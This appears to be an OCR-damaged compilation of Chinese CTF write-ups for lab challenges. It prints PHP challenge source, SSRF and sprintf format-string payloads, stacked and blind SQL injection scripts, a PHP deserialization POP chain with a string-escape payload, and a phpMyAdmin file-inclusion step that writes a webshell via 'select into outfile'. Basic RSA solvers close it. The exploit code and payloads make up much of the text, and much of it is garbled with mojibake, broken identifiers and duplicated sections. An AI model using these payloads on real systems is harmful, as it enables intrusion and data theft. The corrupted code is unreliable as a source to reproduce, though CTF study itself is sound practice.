setcookie('your_ip_address', md5($_SERVER[ 'REMOTE_ADDR']), time()+3600);

if(isset($_GET['file'])){
if (preg_match("/\*|\~|&|\|/", $_GET['file'])) {
die("forbidden");

if(preg_match("/.?f.?1.?a.?g.?/i", $_GET['file'])){
die("not now!");

if(preg_match("/.?a.?d.?m.?i.?n.?/i", $ GET['file'])){
die("You! are! not! my! admin!");

if(preg_match("/~home$/i", $_GET['file'])){
die("¢| & ¢a¥-a f");

}
else{
if(preg_match("/home$/i", $ GET['file']) or preg_match("/system$/i", $ GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $ _GET['file'].".fxxkyou!";
}
echo "¢Z°&r"e®:6-9¢3, 2" ".$file . "<br>";
require $file;
}
} else {
echo "<script>location.href="./home.php?file=system'</script>";
}
system.php
<?php

error_reporting(9);

if (!isset($_COOKIE['ylng']) || $_COOKIE['ylng'] !== shal(md5('ylng'))){
echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
header("Refresh:0.1;url=index.php");
die;

$str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
$str3
$stra

'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ *;
'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1l/DTD/xhtmll-transitio
nal.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible"” content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>File Detector</title>



<link rel="stylesheet" type="text/css" href="css/normalize.css" />
<link rel="stylesheet" type="text/css" href="css/demo.css" />

<link rel="stylesheet" type="text/css" href="css/component.css" />
<script src="js/modernizr.custom.js"></script>

</head>
<body>
<section>
<form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
<div class="simform-inner">
<span><p><center>File Detector</center></p></span>
<ol class="questions">
<1i>
<span><label for="ql">d% ¢Y¥é “¢>®a%ed <éfkxmkian€il a-13»94 —?</label></span>
<input id="ql1" name="ql" type="text"/>
</1i>
<1i>
<span><label for="g2">e”-e%“a
¥3a) af3af€apce-ta»r9at
&4®160:382 ¢35, url</label></span>
<input id="qg2" name="q2" type="text"/>
</1i>
<li>
<span><label for="ql">d% &, Gxe>a»¥dkec§ ®-18% &®;E6—Ci4YGETI%YPOST?</label></span>
<input id="qg3" name="q3" type="text"/>
</1i>
</ol>
<button class="submit" type="submit" value="submit">a &°u</button>
<div class="controls">
<button class="next"></button>
<div class="progress"></div>
<span class="number">
<span class="number-current”></span>
<span class="number-total”></span>
</span>
<span class="error-message"></span>
</div>
</div>
<span class="final-message"></span>
</form>
<span><p><center><a href="https://gem-love.com" target="_blank">@é¢-a¥iL " 'Amore</a></center></p></span>
</section>

<script type="text/javascript" src="js/classie.js"></script>
<script type="text/javascript" src="js/stepsForm.js"></script>
<script type="text/javascript">

var theForm = document.getElementById( 'theForm' );

new stepsForm( theForm, {
onSubmit : function( form ) {
classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' );
var messageEl = theForm.querySelector( '.final-message' );
form.submit();
messageEl.innerHTML = 'Ok...Let me have a check';
classie.addClass( messageEl, 'show' );

)



</script>

</body>

</html>

<?php

$filterl = '/~http:\/\/127\.0\.0O\.1\//1’;
$filter2 = "'/.?f.?1.?2a.2g.?/1i";

if (isset($_POST['ql']) && isset($_POST['q2']) && isset($ _POST['g3']) ) {
$url = $_POST['q2'].".ylng.txt";
$method = $_POST['q3'];

$strl = "~$ python fuck.py -u \"".$url ."\" -M $method -U ylng -P adminl23123 --neglect-negative --debug --h
int=xiangdemei<br>";

echo $stri;

if (!preg_match($filterl, $url) ){
die($str2);

¥

if (preg_match($filter2, $url)) {
die($str3);

¥

if (!preg_match('/~GET/i', $method) && !preg match('/~POST/i', $method)) {
die($stra);

¥
$detect = @file_get_contents($url, false);

print(sprintf("$url method&content_size:$method%d", $detect));

?>

N EBERINEH Fflag UL KX, . q2f R Ablhttp://127.0.0.1/7F%, RESEITSSRFEBUCCM:, q2/54H
Beylng. txt” #RFE

iBithome.phpXEillAadmin. php, ATPAZEURLJEIN “?a=(GETIRMEL —MSH)” 8 “#(4im)” FRibHEX.

http://127.0.0.1/flag.php=http://127.0.0.1/flag. php#HERFHF

$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));

Eig A, FINERwp, EEIFWA from


https://www.cnblogs.com/yesec/p/12554957.html

\Lo %1,y SSRE— N BEAstring KA, XU S — NS HERadnin. phpiIWHE, EER:

print(sprintf("$url method&content size:"GET%1$s%d", $detect)); // %1$sSLIFE/HHE KA THiSdetect, ThdESHHo

\2. %s% — XFIMNERIEBERsprintf () REP%AT UL X%, XEEEARASE T :

print(sprintf("$url method&content_size:"GET%s%%d", $detect)); // XdFTHIHHEX, Bl %

i HPayload, POSTKi%E% system. phpBIiAI3kEadmin. php IS :

ql=1&q2=http://127.0.0.1/admin. php#8&q3=GET%1$s



<?php

error_reporting(0);

session_start();

$flag = 'flag{slmpl3_SSRF_@nd_sprintf}'; //fake

function aesEn($data, $key)

{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_ address'] === md5($_SERVER[ 'REMOTE_ADDR']) && $_
COOKIE['ylng'] === shal(md5('ylng')))
return true;
else
return false;
¥
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE_ );
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br
>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $ SERVER[ 'REMOTE_ADDR'];
}

$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
$decr = $_GET[ 'decrypt'];
if (Check()){
$data = $_SESSION[ ‘secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'ying');
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('J€");
}
} else{
header ("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,890);
$ SESSION[ 'secret'] = bin2hex(random_bytes($length));

?>

elsefBr R—ABEBRBBENIEI), POl ARERIEM$cipher—FKIE X T, Hwp/a RI—Mtrick



sessiongeit. MiBRcookie, #H cookieH HISESSIONIDFEIRA BN M isession 44, HHRHI$ SESSION[ ‘var’ JHtANULL, 185

NULL.

THEHEH

function aesEn

'AES-128-CBC'
md5('174.0.0.15",true
return base64_encode(openssl_encrypt OPENSSL_RAW_DATA
echo aestn('', 'ylng'
MiB&cookie
¢« C ® © & cf318a80-7de8-4464-b1b4-b8120c5d6cfb.node3 buuojcn/admin.y B oo ¥ IND o6 0 ® 6 BB ¢ 5 ¥V X

only 127.0.0.1 can access! You know what | mean

right?

your ip address is 174.0.0.15][€

oz O =8z e OEds NRe (Yawes Oue Ons B e BEERE 5 WBEsF & MaxHackBar
8 Cookie . + G &
@ http://cf318a80-7de8-4464-b1b4-b8120c5d6cfb.node3.buuoj.cn & Domain Path Expires / Max-Age  K/)\ HttpOnly Secure

8 R ... 4e33b8361bb... cf318a80-7... i false
@ http://cf318a80-7de8-4464-b1b4-b8120c5d6cfb.node3.buuoj.cn ying 8880cbd7172... | cf318a80-7... / Sat, 17 Oct 2020 1... 44 | false false

E Indexed DB your_ip_... 04b0951938d... cf318a80-7.. / Sat, 17 Oct 2020 1... 47  false false

B #ttrzhs

B semi

o -

i
PHPSESSID: "4e33b8361bb6547...bbe162c7+
Domain: "cf318a80-7de8-4464...fb.node3.b
Expires / Max-Age: "&iF"
HostOnly: true
HttpOnly: false
Path: "/"
SameSite: "None"
Secure: false
Bl5ZF: "Sat, 17 Oct 2020 09:38:06 GMT"
K\ 41
ffaiAla): "Sat, 17 Oct 2020 09:38:06 GMT"


https://www.jianshu.com/p/9c031dee57b7

only 127.0.0.1 can access! You know what | mean
right?

your ip address is
174.0.0.15flag{9c7084c5-7828-457d-b8b2-
€933c2767df1

N O=sx Date Omdte Nmg (Iatmes QOue Owner B = SRERES 58 BARs & Max HackBar 0 -

‘ M Load quL http:/cf318a80-7de8-4464-b1b4-b8120c5d6¢fb.node3.buuoj.cn/admin.php?decrypt=rs6fbadt/mQQ1ydsyw4c1Q==

0 spit UIFL

’ © Execution

B PostData Ml Referrer Reverse 4» @i Base64 4 | @ Url 4 | MD5 4 SHA1 4 SHA256 4 ROT13 4

AAEREO, FUEN, I R

Black list is so weak for you,isn't it

B R3ZEif

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '’ 17’

http://c52d8600-ad4b-4d74-97a9-fel5bff2ablf.node3.buuoj.cn/?inject=1’ or 2>1 --+



&« c © # c52d8600-ad4b-4d74-97a9-fe15bff2ab1f.node3.buuoj.cn/?inject="g& == ¥

Black list is so weak for you,isn't it

B | IEREs

array (2) {

[0]=>

string (1) "1”

[1]=>

string (7) “hahahah”
}

array (2) {
[0]=>
string (1) ”2”
[1]=>
string (12) “miaomiaomiao”

}

array (2) {
[0]=>
string (6) “114514”
[1]=>
string (2) “ys”

}

http://c52d8600-ad4b-4d74-97a9-fel5bff2ablf.node3.buuoj.cn/?inject=1’ or 2=1 --+

Black list is so weak for you,isn't it

B =)

array(2) {
[0]=>
string(1) “1”7
[11=>
string (7) “hahahah”
}

order by E#IH 2%, union select/s ik [El R



&« C @ c52d8600-ad4b-4d74-97a9-fe15bff2ab1f.node3.buuoj.cn/?inject=1" union select 1

Black list is so weak for you,isn't it

Bt | EAEs

return preg match(”/set|prepare|alter|rename|select|update|delete|drop|insert|wherel|\./1i”, $inject) :

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i"

TR R AR BE AR AR, (EEIE T B4 R
HBIEN

http://c52d8600-ad4b-4d74-97a9-fel5bff2ablf.node3.buuoj.cn/?inject=1"';show tables --+

Black list is so weak for you,isn't it

B 1 | IRXEA

arrav(2) {
[0]=>
string(1)
[1]1=>
string (7) “hahahah”

LA
|

array (1) {

[0]=>

string(8) “FlagHere”
}

array (1) {
[0]=>
string(5) “words”

}

TP T select, AfHhandleriEf)fXEselect



mysqlBR AT i fselect BMR P HIFIRE, WA AhandleriEf, XFBAERIESE —T—TRINE ARSI, Fidhandlertd
FAHAREselectiBAIMFTA IR, BERmysqlEHAMIER, HEAEGEBSQLIRHES.

1EIRLEEH

HANDLER tbl name OPEN [ [AS] alias]

HANDLER tbl name READ index_name I = | <=]>=] <] » l (valuel,value2,...)
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl name READ index_name FIRST | NEXT | PREV | LAST
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name READ [{| FIRST | NEXT
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

: @BiZThandleriBa&EAusersEHNIRA

handler users open as yunensec; #ISFEHIEFHITENHSRAIGHER S
handler yunensec read first; #EEV/EEER/ GRS TEE
handler yunensec read next; #pLEVIEEZR/ GIARIT—1T84E
handler yunensec read next; #EEV/EEZ/ GIFEIT—1T4E

handler yunensec close; #&/FGlfi

from

payload

http://c52d8600-ad4b-4d74-97a9-fel5bff2ablf.node3.buuoj.cn/?inject=-1";handler FlagHere open; handler FlagHere r

ead first; --+

[GYCTF2020]Ezsqli

S Tor, EinformationM AT, &R information_schema

sys.x$schema_flattened_keys
sys.x$schema_table_statistics_with_buffer


https://xz.aliyun.com/t/7169#toc-47

import requests
from time import sleep
url = "http://dceb9acc-239b-47ee-871c-991df29eff3c.node3.buuoj.cn/"’
flag = "'
s = requests.Session()
def exp(i, j):
payload = f"2||ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_sc
hema=database()),{i},1))>{j}"
data = {
"id": payload
¥
r = s.post(url, data=data)
sleep(0.1)# K HIEREZ IR
if "NulL" in r.text:
return True
else:
return False

for i in range(1, 100):
low = 32
high = 127
while (low <high):
mid = (low + high)//2
if (exp(i, mid)):
low = mid+1l#payload %>, mid B ENHLEHKIF
else:
high = mid
flag += chr(low)
print(flag)

JEHRTLIIZEN, NFHA=5, M ERKEA

import requests

url="http://dceb9acc-239b-47ee-871c-991df29eff3c.node3.buuoj.cn/"’
payload="18&((select 1,"{}")>(select * from flag 1s_h3r3_hhhhh))"'
flag=""
for j in range(200):
for i in range(32,128):
hexchar=flag+chr(i)
py=payload.format(hexchar)
datas={'id"':py}
re=requests.post(url=url,data=datas)
if 'NullL' in re.text:
flag+=chr(i-1)
print(flag)
break

(select 1,"{}")>(select * from flag_1s_h3r3_hhhhh)

{(HESHTRFEHEERHRFERFEASCITRD, KHE—-A, WRE-AMEWLE -4, BRERKTHRFEM, FLi-1NAH
PR

[GYCTF2020]Easyphp
BHEAW LT Hwww. zip, HWipopht R F 5L

SE 2K Fwp


https://blog.csdn.net/qq_42181428/article/details/104474414?fps=1&locationNum=2

15— LI E Fwp
pop¥E: UpdateHepler:: destruct()->User::__toString->Info::_Call()->dbCtrl::login()

<?php

class User

{
public $id;
public $age=null;
public $nickname=null;

}

class Info{
public $age;
public $nickname;
public $CtrlCase;

}
Class UpdateHelper{

public $id;
public $newinfo;
public $sql;

)
class dbCtrl

{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;

$sql = 'select id,"c4cad4238a0b923820dcc509a6f75849b" from user where username=?';//$this->name=% POST[ 'username’
1;

$start = new UpdateHelper();

$start->sql = new User();

$start->sql->nickname = new Info();
$start->sql->nickname->CtrlCase = new dbCtrl();
$start->sql->age = $sql;
$start->sql->nickname->CtrlCase->name = 'admin’;
$start->sql->nickname->CtrlCase->password = '1';//F/H1 FEHFI
$s = serialize($start);

echo $s;

echo " "

$a = new Info();

$a->nickname = $s;

echo serialize($a);

&R


https://www.jianshu.com/p/21b5dd45724c

0:12:“UpdateHelper”:3:{s:2:“id”;N;s:7:“newinfo”;N;s:3:“sql”;0:4:“User”:3:{s:2:“id”;N;s:3:“age”;s:71:“select
id,“c4ca4238a0b923820dcc509a6175849b”” from user where username=?”;s:8:“nickname”;0:4:“Info”:3:
{s:3:“age”;N;s:8:“nickname”;N;s:8:“CtrlCase”;0:6:“dbCtrl”:8:
{s:8:“hostname”;s:9:“127.0.0.1”;s:6:“dbuser”;s:4:“root”;s:6:“dbpass”;s:4:“root”;s:8:“database”;s:4:“test”;s
:4:“name”;s:5:“admin”;s:8:“password”;s:1:“1”;s:6:“mysqli”;N;s:5:“token”;N;}}}} 0:4:“Info”:3:
{s:3:“age”;N;s:8:“nickname”;s:447:“0:12:“UpdateHelper”:3:
{s:2:“1d”;N;s:7:“newinfo”;N;s:3:“sql”;0:4:“User”:3:{s:2:“id”;N;s:3:“age”;s:71:“select
id,“c4ca4238a0b923820dcc509a6175849b”” from user where username=?”;s:8:“nickname”;0:4:“Info”:3:
{s:3:“age”;N;s:8:“nickname”;N;s:8:“CtrlCase”;0:6:“dbCtrl”:8:
{s:8:“hostname”;s:9:“127.0.0.1”;s:6:“dbuser”;s:4:“root”;s:6:“dbpass”;s:4:“root”;s:8:“database”;s:4:“test”;s
:4:“name”;s:5:“admin”;s:8:“password”;s:1:“1”;s:6:“mysqli”;N;s:5:“token”;N;}}}}”;s:8:“CtrlCase”;N;}

A R PB4 R

public function getNewInfo(){
$age=$_POST[ 'age'];
$nickname=$_POST[ 'nickname’];

return safe(serialize(new Info($age,$nickname)));

¥ payloadfE ASEUHITFIIML, FEMRITEZRLER
BB —Apayloadi#iT B LA & IAE

";s:8:"CtrlCase";0:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";0:4:"User":3:{s:2:"id";N;s:3:"age";
s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";0:4:"Info":3:{s:3:
"age";N;s:8:"nickname";N;s:8:"CtrlCase";0:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s
:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:
5:"token";N;}}}};}

MBMRERIEMTA5S, FAERTHFINERKSS, RERENKpayloadFFH ACtrlCaseMME, XFERFFILE
BeRIh R 7 HIL B AT K Ipayload, XAMEHMUE Kipayload& E 466, ATARAIEXApayloadiiEina66i union, FEAFFF{L
TR, BKENA66%2%5-4660, HEIR{s:3:“age”;N;s:8:“nickname”;s:4660:, Zifsafe()/E, uniontk Bl
hacker, BKEHBZHN4660, BN EHRMA " #47 THE, FrlinicknamefE K A466 M hacker, HATHpayloadsi ik

o

3

B #%payload



age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionun
ionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunio
nunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionu
nionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionuni
onunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion
unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionun
ionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunio
nunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionu
nionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionuni
onunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion
unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionun
ionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunio
nunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionu
nionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionuni
onunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion
unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionun
ionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunio
nunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionu
nionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionuni
onunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion
unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"
CtrlCase";0:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";0:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"s
elect id,"c4ca4238a0b923820dcc509a6175849b" from user where username=?";s:8:"nickname";0:4:"Info":3:{s:3:"age";N
;5:8:"nickname";N;s:8:"CtrlCase";0:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbp
ass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"toke

n";N;}31%}

PATE, sessionFHINE Nadmin, HHAEEFEEF (KifsessionFHEES, IT2KRBMAKZEL) Bk flag

FeATsqlifER)

select “<?php phpinfo()?>’

M5B FEcookie, #HiTsessionflE, BELNKFZ

index.php?target=db_sql.php%253F/../../ ./ ] ] wd d ] ] ] ./ EMp/SESS_+Z HIIT T
cookie


https://blog.csdn.net/qq_45158261/article/details/107760856
https://blog.csdn.net/qq_33020901/article/details/80829269?https:%25252f%25252fblog.csdn.net%25252fqq_33020901%25252farticle%25252fdetails%25252f80829269

7\

(¢)=> C @

7 1| f:}phpMyAdmin

Q&
I SRR

= - information_schema ~

© & node3.buuoj.cn:28239/index.php?target=db_sql.php%253f/../../../././ EE B == 1%

HiEE

HTTP_UPGRADE INSECURE REQUESTS

sQLl]  #E L BiHE BALE BES  TEO O FEES SgEe  @HR

1

@ o th » o ® & & 5B

HTTP_CACHE CONTROL

max-age=0

PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

SERVER SIGNATURE

<address>Apache/2.4.25 (Debian) Server at node3.buuoj.cn Port 28239</address>

SERVER SOFTWARE

Apache/2.4.25 (Debian)

@ SERVER NAME node3.buuoj.cn
o g SERVER ADDR 173.233.67.9
__k CHARACTER SETS SERVER PORT 28239
- REMOTE ADDR 173.233.67.2
¥ COLLATIONS DOCUMENT ROOT ar oo/t
|4 COLLATION_CHARACTEF REQUEST SCHEME http
| COLUMNS CONTEXT PREFIX no value
CONTEXT DOCUMENT ROOT fvar/www/
|- ¥ COLUMN_PRIVILEGES SERVER ADMIN m
¥ ENGINES ez m PTFILENAVE var/www/html/index.php
<
[ root [~ v Bmeml) BHANSO DRISHS0 CEROW) F20, I 35 N URE

N Dzsx Dema DEde N ms () astres

W Vs URL

K& Taik & pais

GET % node3.buuoj... index.php?target=db_sql.php%3f/../../ S S ] ...

G Eshell

select ¢’ into outfile ¢/var/www/html/1.php’

RIABAT

REE

browsin...
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value: "c7fa71ae68552ed8967ed8a228e90b47"
v #K Cookie
phpMyAdmin: "c7fa71ae68552ed8967ed8a228e90b47"

T
pma_lang: "zh_CN" -

a

S



Environment

Variable Value
APACHE LOG DIR /var/log/apache2
LANG C
HOSTNAME web
APACHE _CONFDIR /etc/apache2
APACHE_LOCK DIR /var/lock/apache2
PHPIZE DEPS autoconf dpkg-dev file g++ gec libc-dev make pkg-config re2c
GPG_KEYS 1729F83938DA44E27BAOFAD3DBDB397470D12172 B1B44D8F021E4E2D6021E995DCOFF8D3EESAF27F
PHP_EXTRA CONFIGURE ARGS —with-apxs2
PHP_ASC URL https://secure.php.net/get/php-7.2.5.tar.xz.asc/from/this/mirror
PHP_CFLAGS -fstack-protector-strong -fpic -fpie -02
PHP_EXTRA BUILD DEPS apache2-dev
PWD fvar/www/html
PHP_LDFLAGS -WI,-O1 -WI,--hash-style=both -pie
APACHE RUN GROUP www-data
APACHE RUN DIR /var/run/apache2
PHP_INI_DIR fusr/local/etc/php
PHP_URL https://secure.php.net/get/php-7.2.5.tar.xz/from/this/mirror
APACHE ENVVARS /etc/apache2/envvars
PHP_CPPFLAGS -fstack-protector-strong -fpic -fpie -0O2
APACHE RUN USER www-data
FLAG flag{7bf8d94c-7042-4b05-a77f-1f3d619d7aa6} —
PHP_VERSION paess
APACHE PID FILE /var/run/apache2/apache2.pid
SHLVL 0
PHP_MD5 no value
PATH fusr/local/shin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PHP_SHA256 af70a33b3f7a51510467199b39af151333fbbedcc21923bad9c7cf64268cddb2

crypto

[BIDCTF 2nd]cat_flag



01000010
01001010
01000100
0l111011
0lo01101
00100001
01100001
00110000
01111110
0l111101

import binascii
print(binascii.a2b_hex(hex(int('01000010010010100100010001111011010011010010000101100001001100000111111001111101
,2))[2:1))

RSA

RSANNZE A2

EEFHNBE KBS T HpMfMg, itHEn =p * q .

WHEphi = (p-1) * (g-1) -

HEEEe, HBeE 1<e<phi H gecd(e , phi) == 1 .

ek TFphifitEdistd, BId#HE(e * d)¥% phi ==

IAE%: c=(m~e)%n, m=(c~d) %n . HFmNHAZ, cAEX, (n,e) AN, dARH, BXR 0 <=m<n .

import gmpy2
p=473398607161
q=4511491

e=17

phi=(p-1)*(q-1)
d=gmpy2.invert(17,phi)
print(d)



rsarsa

Math is cool! Use the RSA algorithm to decode the secret message, c, p, q, and e are parameters for
the RSA algorithm.

p:
964842302901051567659055174001042653494573763923573980064398935203985250729849139956103500916342705037
0107570733633350911691280297777160200625281665378483

q:
118748438379802970320924058486536568527609101545433809076500401907042833589092085782510630477324439922
30647903887510065547947313543299303261986053486569407

e = 65537

Cc =
832082989951746041747735902982036393605400248712561268928896613457424033149298619391004926666056473166
465764865262174570063768422808697285817267464015837058999417682141387422596893348407356335530538876418
476511737762518202930872128856701803674068074067659236389731613758173927377478327627516901044238690190
34

Use RSA to find the secret message

import gmpy2

p = 964842302901051567659055174001042653494573763923573980064398935203985250729849139956103500916342705037
0107570733633350911691280297777160200625281665378483

q = 118748438379802970320924058486536568527609101545433809076500401907042833589092085782510630477324439922
30647903887510065547947313543299303261986053486569407

e = 65537

Cc = 832082989951746041747735902982036393605400248712561268928896613457424033149298619391004926666056473166
46576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651
173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034
phi=(g-1)*(p-1)

n=p*q

d=gmpy2.invert(e,phi)

print(pow(c,d,n))

RSA1

p:
863763376725700856709965348654109117132049150943361544753916243791124417588566780639841179052408355344
5158113502227745206205327690939504032994699902053229

q:
126406749739964727691760479371708834209270508214800105815931371353724738805956137373376306297525773461
47039284030082593490776630572584959954205336880228469

dp =
650079570221683462110904235119326153065004384105625293093094966335862501688183284072806602615026469307
6109354874099841380454881716097778307268116910582929

dg =
783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963
002175438762767516968043599582527539160811120550041

——
247223054038873820735673164676490806626315529059602293990791079956021544181760563358006388875276141640
735304376570850796761573502053519452229893513160764865735995760419783398722659250627643185360890073102
702785261596789374319038628924007479155251189839599706079341429747366757843259934459420313721073421038
52

68928896613457424033149298619391004926666056473166465764865262174570063768422808697285817267464015837058999
41768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161
375R1739273774783276275169A104423R69A19A34



Use RSA to find the secret message

import gmpy2

p = 964842302901051567659055174001042653494573763923573980064398935203985250729849139956103500916342705037
0107570733633350911691280297777160200625281665378483

q = 118748438379802970320924058486536568527609101545433809076500401907042833589092085782510630477324439922
30647903887510065547947313543299303261986053486569407

e = 65537

c = 832082989951746041747735902982036393605400248712561268928896613457424033149298619391004926666056473166
46576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651
173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034
phi=(q-1)*(p-1)

n=p*q

d=gmpy2.invert(e,phi)

print(pow(c,d,n))

RSA1

p:
863763376725700856709965348654109117132049150943361544753916243791124417588566780639841179052408355344
5158113502227745206205327690939504032994699902053229

q =
126406749739964727691760479371708834209270508214800105815931371353724738805956137373376306297525773461
47039284030082593490776630572584959954205336880228469

dp =
650079570221683462110904235119326153065004384105625293093094966335862501688183284072806602615026469307
6109354874099841380454881716097778307268116910582929

dg =
783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963
002175438762767516968043599582527539160811120550041

C =
247223054038873820735673164676490806626315529059602293990791079956021544181760563358006388875276141640
735304376570850796761573502053519452229893513160764865735995760419783398722659250627643185360890073102
702785261596789374319038628924007479155251189839599706079341429747366757843259934459420313721073421038
52
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